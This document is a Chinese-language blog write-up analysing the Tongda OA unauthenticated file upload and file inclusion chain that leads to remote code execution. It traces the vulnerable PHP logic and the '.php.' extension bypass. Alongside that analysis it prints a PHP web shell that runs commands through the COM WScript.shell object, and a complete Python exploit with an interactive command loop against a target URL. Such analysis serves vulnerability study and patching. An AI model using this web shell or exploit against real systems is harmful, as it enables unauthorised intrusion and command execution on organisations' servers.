通达OA任意文件上传漏洞详细分析

简介: 通达OA任意文件上传漏洞详细分析

影响


影响范围(但是只有V11版和2017版有包含文件的php,其余版本能上传文件.):

V11版 2017版 2016版 2015版 2013增强版 2013版。

这个漏洞是几个月前的漏洞,主要是学习一下这个漏洞代码的形成原理和调式过程。

该漏洞主要是通过绕过身份验证的情况下上传文件,然后通过文件包含漏洞实现代码执行


代码分析


源码经过zend 5.4加密,解密工具:

SeayDzend,可以自行百度下载




在线解密

http://dezend.qiling.org/free.html


任意文件上传的关键文件

webroot\ispirit\im\upload.php


代码分析:


786912a5ed5daf8fa3d06ad8f8e9f53e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


可以看到只要判断P参数是否不为空,就开启了session


没有P参数时候


8771dc4ddf56e2235fe2e01085c84da1_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


有的时候


2c5d003760ef46d7e3eb395bdb1076c8_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


继续往下走


fac0a6c2c7286eefe674274f0969902f_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


判断DEST_UID是否不为空,否则就会退出

判断DEST_UID=0的时候,如果UPLOAD_MODE不等于2就直接退出了

判断DEST_UID不等于0的时候直接判断$_FILES数量是否有,也就是判断有没有上传文件


这里可以是第二个情况,DEST_UID=0,UPLOAD_MODE=2进行下一步


d1c460d06c88e7ab8083e88cc69367a3_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


也可以是DEST_UID不为0进入下一步


525ac94835564b1cc3c35e92b0e70987_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


继续往下走


756b08bce2673869d3189b48436d543c_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


可以这里又if语判断上传的模式,我们来看看上传的模式有哪几种,可以看到总共有1,2,3,其中1,2,3如果成功了是有回显的


39c8fd887cf8d084613fd24d390e67cf_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png



这里设置upload_mode为1,进入upload函数


f6143c6a2cc48991632bafc3e1ccba45_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


b67730e92b7867c66987684e3d844c34_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


会判断是否/字符,然后判断上传的文件是否符合可上传的格式,我们继续走is_uploadable


d292dc655f309fa2a654bc597ec9eff9_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


可以看到如果上传的格式是php,会返回false,这里用xxx.php.绕过


回过头来看upload函数,最终会返回一个$ATTACHMENTS的数组,包含了ID,和NAME


efec483fe1d372747af2bd35be29c84c_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


继续跟进,发现ATTACHMENTS是由add_attach函数生成的


0fece95e406c1602660cdfd3342fc4dd_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


继续跟进


发现$FILENAME的拼成


68480a2abb6ba49fb382125941b3d619_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


继续往下走的时候发现$path,和文件名的最终结果


f7cf58f3c29311e30b772bc0c78c8725_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


各种追踪发现就是attch/im/$YM/文件夹下面



其实不用这么复杂,就直接上传文件,然后搜索那个文件最终放在哪不就完事了吗?或者使用火绒剑分析行为和D盾进行文件监控


上传结合前面的分析需要的参数有


9447011b61489fc3176dce2a33960a08_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


这里不同的上传模式,回显的格式不一样,这里的2格式舒服点,目录就是2003,文件名对应后面的ID


b427fb3a85e00b08183fb4a330616293_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


db999dc8b94b0ab99931892e86e0775e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


由于这里的关键上传了文件后OA系统有个文件包含漏洞,结合文件包含漏洞就可以实现RCE


文件包含代码位置

/ispirit/interface/gateway.php


1870c43ee276bb04b188118df1e7f74f_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


首先会接受一个json数据,然后转换为数组,然后遍历这个数据,如果key是url,url就对应值


然后继续走


65ae676bb953449157a50b787a600b99_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


然后走到strpos,可以看到如果出现general/,ispirit,module/就会触发文件包含构造payload

/general/../../attach/im/2003/1191415788.1.php


由于我上传的时候是phpinfo函数,是禁用了这个函数的和危险函数,这里可以使用写入一个webshell在当前执行的/ispirit/interface/目录下


832d9741a53dcc1f423d8c5ef7d734d3_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


记得这里文件名前面要加个\


f0be2216368f53c1dbb531dd61adbeaf_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


164104c21c8c00aec59f9e2751bd749f_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png



515a1a6ee94dd65ee653bc559502993a_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


当然也可以使用COM组件bypass 危险函数


<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

也可以直接使用文件包含配合日志getshell

直接触发nginx的错误日志,利用文件包含直接getshell


利用网上公开的脚本:


#!/usr/bin/env python3
# -*- encoding: utf-8 -*-
# oa通达文件上传加文件包含远程代码执行
import requests
import re
import sys
def oa(url):
    upurl = url + '/ispirit/im/upload.php'
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "multipart/form-data; boundary=---------------------------27723940316706158781839860668"}
    data = "-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"ATTACHMENT\"; filename=\"jpg\"\r\nContent-Type: image/jpeg\r\n\r\n<?php\r\n$command=$_POST['cmd'];\r\n$wsh = new COM('WScript.shell');\r\n$exec = $wsh->exec(\"cmd /c \".$command);\r\n$stdout = $exec->StdOut();\r\n$stroutput = $stdout->ReadAll();\r\necho $stroutput;\r\n?>\n\r\n-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"P\"\r\n\r\n1\r\n-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"DEST_UID\"\r\n\r\n1222222\r\n-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"UPLOAD_MODE\"\r\n\r\n1\r\n-----------------------------27723940316706158781839860668--\r\n"
    req = requests.post(url=upurl, headers=headers, data=data)
    filename = "".join(re.findall("2003_(.+?)\|",req.text))
    in_url = url + '/ispirit/interface/gateway.php'
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Forwarded-For": "127.0.0.1", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}
    data = "json=
{\"url\":\"../../../general/../attach/im/2003/%s.jpg\"}&cmd=%s" % 
(filename,"echo php00py")
    include_req = requests.post(url=in_url, headers=headers, data=data)
    if  'php00py' in include_req.text:
        print("[+] OA RCE vulnerability ")
        return filename
    else:
        print("[-] Not OA RCE vulnerability ")
        return False
def oa_rce(url, filename,command):
    url = url + '/ispirit/interface/gateway.php'
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}
    data = "json=
{\"url\":\"../../../general/../attach/im/2003/%s.jpg\"}&cmd=%s" % 
(filename,command)
    req = requests.post(url, headers=headers, data=data)
    print(req.text)
if __name__ == '__main__':
        if len(sys.argv) < 2:
            print("please input your url python oa_rce.py http://127.0.0.1:8181")
        else:
            url = sys.argv[1]
            filename = oa(url)
            while filename:
                try:
                    command = input("wran@shelLhost#")
                    if command == "exit" or command == "quit":
                        break
                    else:
                        oa_rce(url,filename,command)
                except KeyboardInterrupt:
                    break


422d10f85ef65442aa71361a8625768b_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


脚本用的是COM绕过


相关文章
|
SQL Web App开发 XML
广联达OA漏洞合集(信息泄露+SQL注入+文件上传)
广联达Linkworks办公OA存在信息泄露,攻击者可通过此漏洞获取账号密码登录后台,造成其他影响。
3325 1
|
安全
致远OA A8 htmlofficeservlet 任意文件上传漏洞 漏洞复现
致远OA A8 htmlofficeservlet 任意文件上传漏洞 漏洞复现
3332 0
致远OA A8 htmlofficeservlet 任意文件上传漏洞 漏洞复现
|
安全
致远OA wpsAssistServlet 任意文件上传漏洞 漏洞复现
致远OA wpsAssistServlet 任意文件上传漏洞 漏洞复现
3447 0
|
安全
致远OA ajax.do 任意文件上传 (CNVD-2021-01627) 漏洞复现
致远OA ajax.do 任意文件上传 (CNVD-2021-01627) 漏洞复现
3235 0
|
11月前
|
消息中间件 SQL 前端开发
如何开发人事及OA管理系统的考勤管理板块?(附架构图+流程图+代码参考)
考勤系统是企业HR管理的核心模块,涉及打卡、请假、加班、补卡等多项功能,支持多场景打卡方式,并与薪酬、绩效紧密关联。系统需具备数据自动统计、异常提醒、审批流程集成等功能,有效减少人工错误,提升管理效率。
|
11月前
|
存储 缓存 数据库
如何开发人事及OA管理系统的全局基础设置板块?(附架构图+流程图+代码参考)
在企业数字化转型中,人事管理系统(HRM)与办公自动化系统(OA)已成为核心工具。本文详解全局基础设置的三大核心模块:部门岗位基础表、工作日历和工作地点基础表,涵盖功能设计、业务流程、开发技巧与代码示例,助力企业优化系统架构,提升管理效率与扩展性。
|
11月前
|
存储 Java 数据库
如何开发人事及OA管理系统的会议管理板块?(附架构图+流程图+代码参考)
人事及OA系统是现代企业管理的重要工具,整合人力资源与办公流程,提升效率。其会议管理板块可优化会议室预约、冲突检测、审批流程及数据统计,助力企业高效协作。本文详解功能设计、开发技巧与实现方案。
|
11月前
|
JavaScript 安全 前端开发
如何开发人事及OA管理系统的薪酬管理板块?(附架构图+流程图+代码参考)
本文介绍了如何构建一个高效、合规的企业薪酬管理系统,涵盖薪酬模块的重要性、核心功能、系统架构设计、数据模型、开发实现及安全合规要点。内容包括薪酬配置、数据导入、自动化计算、审批发放、工资条生成与安全分发、报表看板、权限审计等关键环节,并提供详细的业务流程、架构图、核心代码示例及落地开发技巧。适用于HR、财务及技术人员快速搭建薪酬管理系统,提升发薪效率,降低人工错误与合规风险。
|
11月前
|
前端开发 BI API
如何开发人事及OA管理系统的入转调离板块?(附架构图+流程图+代码参考)
企业人事及OA系统核心模块“入转调离”(入职、转正、调动、离职)涵盖员工全生命周期管理,涉及审批流、合同管理、岗位变更、社保薪资联动等关键流程。通过系统化设计,实现数据统一、流程可审计、信息可追溯,提升HR效率并增强企业合规性。本文详解模块架构、设计原则、五大子模块实现方案及常见集成点,助力企业搭建高效、可靠的人事管理系统。

热门文章

最新文章